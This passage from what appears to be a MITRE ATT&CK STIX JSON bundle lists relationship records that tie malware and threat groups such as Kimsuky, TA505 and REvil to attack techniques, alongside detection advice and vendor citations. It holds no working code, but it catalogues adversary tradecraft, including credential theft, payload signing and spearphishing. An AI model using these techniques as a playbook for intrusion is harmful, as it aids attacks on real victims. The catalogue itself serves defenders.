(2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute the <code>ipconfig /all</code> command on a victim system.(Citation: NTT Security Flagpro new December 2021)", "modified": "2022-04-13T20:30:29.479Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9dcab92-6b0d-43c7-a122-90eccb016b9d", "type": "relationship", "created": "2020-11-10T15:39:49.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."}], "modified": "2020-11-10T15:39:49.375Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims into clicking a malicious link delivered through spearphishing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9de1f4c-1978-4efe-9bd0-f525b6acaeb1", "type": "relationship", "created": "2021-04-13T13:27:27.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Conficker", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker", "description": "Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}], "modified": "2021-05-04T18:09:08.727Z", "description": "[Conficker](https://attack.mitre.org/software/S0608) has obfuscated its code to prevent its removal from host machines.(Citation: Trend Micro Conficker)", "relationship_type": "uses", "source_ref": "malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9decd90-60fa-4edc-b428-70e94d6d8207", "type": "relationship", "created": "2020-05-20T20:39:29.132Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-20T20:39:29.132Z", "description": "(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "malware--73c4711b-407a-449d-b269-e3b1531fe7a9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}], "modified": "2019-07-26T23:07:21.030Z", "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getFirefoxPassword function to attempt to locate Firefox passwords.(Citation: XAgentOSX 2017)", "relationship_type": "uses", "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9e42e0a-e779-4491-b107-a064254a7da3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos NavRAT May 2018", "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", "url": "https://blog.talosintelligence.com/2018/05/navrat.html"}], "modified": "2020-03-16T17:19:47.323Z", "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses <code>tasklist /v</code> to check running processes.(Citation: Talos NavRAT May 2018)", "relationship_type": "uses", "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9ea9e15-a460-4957-988b-4a9af00619bd", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor file access on removable media that may attempt to exfiltrate data over a USB connected physical device.", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b9ed53b8-71a5-44a3-90d1-2fb600991674", "created": "2022-01-09T22:14:54.604Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.684Z", "description": "[Zox](https://attack.mitre.org/software/S0672) has the ability to leverage local and remote exploits to escalate privileges.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b9edded2-4f07-431c-bdc1-e7ba489dd253", "created": "2022-09-26T20:25:57.941Z", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. 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Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T20:25:57.941Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) can test a connection to a specified network IP address over a specified port number.(Citation: McAfee Sharpshooter December 2018)", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b9ef32ed-bec0-4f2a-863c-5c8400d9a970", "type": "relationship", "created": "2020-02-21T15:58:20.428Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-24T20:41:09.224Z", "description": "Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. 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Retrieved December 29, 2021."}, {"source_name": "Zdnet Kimsuky Dec 2018", "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/", "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019."}, {"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}, {"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}, {"source_name": "VirusBulletin Kimsuky October 2019", "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}, {"source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."}, {"source_name": "ThreatConnect Kimsuky September 2020", "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.(Citation: Zdnet Kimsuky Dec 2018)(Citation: Securelist Kimsuky Sept 2013)(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Talos Kimsuky Nov 2021)(Citation: KISA Operation Muzabi)", "modified": "2022-04-12T18:02:57.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2", "created": "2017-05-31T21:33:27.031Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. 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Retrieved May 29, 2020."}], "modified": "2020-06-16T16:57:13.452Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has signed payloads with code signing certificates from Thawte and Sectigo.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--bae19e73-3612-42a3-be35-5f5b2adfc5b7", "created": "2022-08-15T16:44:19.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason StrifeWater Feb 2022", "description": "Cybereason Nocturnus. (2022, February 1). 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Retrieved May 26, 2020."}], "modified": "2020-10-22T01:34:58.225Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has digitally signed executables using AVAST Software certificates.(Citation: Medium Metamorfo Apr 2020) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--baec4c99-f8f9-4789-a73d-c6b652299048", "type": "relationship", "created": "2020-05-18T19:46:02.154Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-18T19:46:02.154Z", "description": "(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--baedd4b3-1fc9-4056-a282-322496a3cceb", "type": "relationship", "created": "2020-02-10T19:49:46.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-10T19:49:46.844Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--baefaf38-da2d-4864-9c96-3bf2352bc20b", "type": "relationship", "created": "2021-04-20T13:11:26.199Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. 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Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T21:07:08.078Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) starts a thread on execution that captures clipboard data and logs it to a predefined log file.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--baeff271-0885-4c44-a9d6-c03411ca9bb0", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "description": "Singh, S. et al.. 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(Citation: FireEye MuddyWater Mar 2018)(Citation: ClearSky MuddyWater Nov 2018) [POWERSTATS](https://attack.mitre.org/software/S0223) has used PowerShell code with custom string obfuscation (Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--baf8dbad-1cc6-4e3b-84d5-29d4dd2bb3a0", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Monitor executed commands and arguments that may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms)", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Detect Outlook Forms", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bb005145-438c-4fd8-9cac-a636df7465da", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. 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When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. 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Retrieved November 16, 2020."}], "modified": "2020-11-17T20:25:17.345Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can execute TCP, UDP,  and HTTP denial of service (DoS) attacks.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bb1a7fc8-bec0-4655-bbfe-0c786e237452", "type": "relationship", "created": "2021-03-12T16:55:09.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}, {"source_name": "FireEye SUNSHUTTLE Mar 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. 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Retrieved August 4, 2020."}], "modified": "2021-04-06T14:42:52.661Z", "description": "[REvil](https://attack.mitre.org/software/S0496) has used HTTP and HTTPS in communication with C2.(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bb23e7d5-23d6-4dde-a67f-36e19e8d2250", "type": "relationship", "created": "2020-11-12T17:12:38.351Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}, {"source_name": "IBM Grandoreiro April 2020", "url": "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", "description": "Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}], "modified": "2020-11-13T19:31:02.408Z", "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has used compromised websites and Google Ads to bait victims into downloading its installer.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: IBM Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bb28e9c0-3d03-4f7b-937f-d0398d8dd59b", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor for unusual kernel driver installation activity may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.", "source_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2019-05-03T16:44:41.815Z", "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the local IP address of the victim and sends it to the C2.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bb2be1f4-f2fc-4029-8ee6-e89f52210dfd", "type": "relationship", "created": "2021-03-04T19:51:08.302Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}], "modified": "2021-03-04T19:51:08.302Z", "description": "[Machete](https://attack.mitre.org/groups/G0095) has distributed [Machete](https://attack.mitre.org/software/S0409) through a fake blog website.(Citation: Securelist Machete Aug 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bb371ea5-33c4-42e7-bcb0-3374240da553", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Calisto July 2018", "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has downloaded additional payloads and malicious scripts onto a compromised host.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-08-31T16:25:33.286Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc0ed7ce-f99f-4d88-a3cc-81af825f311a", "type": "relationship", "created": "2021-10-15T19:52:14.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. 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Discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.", "source_ref": "x-mitre-data-component--ec225357-8197-47a4-a9cd-57741d592877", "target_ref": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bc1c5d97-5e95-4ba3-bf61-ffe3de56d508", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"}], "modified": "2019-03-22T20:21:57.822Z", "description": "(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": 